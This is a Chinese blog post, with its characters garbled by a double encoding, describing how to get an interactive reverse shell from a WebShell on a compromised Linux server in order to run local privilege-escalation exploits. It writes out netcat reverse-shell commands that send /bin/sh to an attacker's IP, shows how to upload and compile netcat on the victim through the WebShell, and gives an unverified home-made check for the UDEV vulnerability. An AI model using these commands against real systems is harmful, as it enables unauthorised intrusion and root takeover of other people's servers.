Linux下通過WebShell反彈CmdLine Shell小技巧
昨晚(應(yīng)該是今天凌晨)玩了半天朋友給的Linux的WebShell,本來想實(shí)踐一下UDEV提權(quán)呢,最后發(fā)現(xiàn)服務(wù)器貌似已經(jīng)打過補(bǔ)丁了。
不過還是有其他的收獲的,所以我就YY下Linux反彈shell的問題。
Linux提權(quán)絕大部分都靠的是Local Exploit。WebShell一般都可以執(zhí)行命令,但是我們的EXP必須在可交互環(huán)境運(yùn)行,否則如果直接在WebShell執(zhí)行,即使能提權(quán)成功,我們也沒法利用到。所以我們需要先反彈一個(gè)CmdLine Shell回來(直接說成CmdShell怕人誤解...因?yàn)閃in有個(gè)cmd.exe ^_^),然后在命令行終端下執(zhí)行EXP進(jìn)行提權(quán)。
一般情況下,絕大多數(shù)人都會(huì)通過PHP WebShell的Back Connect功能彈回一個(gè)Shell,但是有時(shí)候會(huì)碰到服務(wù)器不支持PHP或者WebShell沒法反彈的情況,比如這兩天朋友給我的一個(gè)JSPShell所在服務(wù)器只支持JSP,不支持PHP。這時(shí)候,我們經(jīng)典的netcat就可以派上用場了。
平時(shí)在Windows下做事的時(shí)候,在必要的情況下我們可以先在本機(jī)運(yùn)行nc -vv -lp 1234監(jiān)聽端口,然后在肉雞上nc 12.21.12.21 1234 -e cmd.exe給我們反彈一個(gè)CmdShell,這個(gè)方法在Linux仍然可行。
在本機(jī)監(jiān)聽后,在WebShell運(yùn)行nc 12.21.12.21 1234 -e /bin/sh就能彈一個(gè)CmdLine Shell給我們。
但我們經(jīng)常碰到的情況并不都是這么100%順利的,像昨晚整的那兩臺(tái),每臺(tái)都是不能直接執(zhí)行nc的。一臺(tái)有nc,但執(zhí)行從是不起作用,另外一臺(tái)直接壓根就沒有nc....
不過,這個(gè)難不倒我們,我們可以給他裝一個(gè)嘛,比較快捷的方法是,我們可以到http://netcat.sourceforge.net/download.php下載nc的源碼,先在我們自己linux機(jī)器上編譯好以后把bin文件傳上去(我開始傳的我的Debian自帶的netcat,結(jié)果仍然不能運(yùn)行....)。如果還不行,那就把源碼傳上去,在目標(biāo)機(jī)器上直接編譯。
昨晚那兩臺(tái)機(jī)器,一臺(tái)我是直接傳的本地編譯后的,一臺(tái)是在目標(biāo)機(jī)器上編譯的。如果直接傳的nc可以運(yùn)行的話還比較好說,如果需要在目標(biāo)機(jī)器上編譯的話,這里有點(diǎn)小技巧:
因?yàn)樵诘玫紺mdLine Shell前,我們只能在WebShell里執(zhí)行命令,一般每次只能執(zhí)行一條,然后等回顯。假如我們的WebShell在/var/www/site目錄,那么我們每次執(zhí)行命令默認(rèn)的當(dāng)前路徑都是/var/www/site,而我們的netcat源碼包解壓在了/tmp/netcatsrc文件夾,這樣的話,我們編譯netcat的時(shí)候,configure還好說,可用/tmp/netcatsrc/configure命令,但下一步make的時(shí)候就不行了,因?yàn)楫?dāng)前路徑是/var/www/site,而不是我們想要的/tmp/netcatsrc/,所以我們configure完了make的時(shí)候會(huì)報(bào)錯(cuò)。
解決這個(gè)問題其實(shí)也很簡單,可以直接把兩句寫成一句就可以:cd /tmp/netcatsrc;make
用分號(hào)隔開寫,把make跟在目錄切換命令后面,這樣編譯的時(shí)候就不會(huì)報(bào)錯(cuò)了。(流浪貓教的..^_^)
在還沒有得到CmdLine Shell的時(shí)候,這樣的寫法還是很有用的。
編譯成功以后,我們就可以輸入命令反彈Shell了(比如我這里nc路徑是/tmp/nc):
本地nc -vv -lp 80后
/tmp/nc 202.xx.xx.250 80 -e /bin/sh就可以給我嗎彈回來一個(gè)CmdLine Shell。
效果如下圖:
----------------
要注意反彈的Linux Shell是沒有$提示符的哦,執(zhí)行一句返回一句。
還有一點(diǎn)就是這里反彈Shell的時(shí)候我運(yùn)行的是/bin/sh,當(dāng)然運(yùn)行/bin/bash也可以。
不過我覺得最好還是運(yùn)行/bin/sh吧,因?yàn)?bin/sh的權(quán)限比/bin/bash放的更開一些
順便說一下怎么判斷目標(biāo)是否有UDEV這個(gè)漏洞。
Linux我還不知道怎么樣查看它是否打過這個(gè)補(bǔ)丁,所以我想了個(gè)比較簡單的辦法:
1.執(zhí)行cat /proc/net/netlink,記錄下PID A
2.執(zhí)行ps aux | grep udev ,記下root的PID B
3.如果A = B - 1,則存在漏洞,否則不存在
這是我自己想的,因?yàn)楂@得PID的時(shí)候有這兩種方法,所以我通過他們對(duì)比來判斷,但我并不能確定我這方法是100%正確的,僅供參考。
效果如下圖:
在反彈的Shell里執(zhí)行,發(fā)現(xiàn)得到的PID不一樣,2487 != 1230
在我自己機(jī)器上,PID一樣,1184=1185-1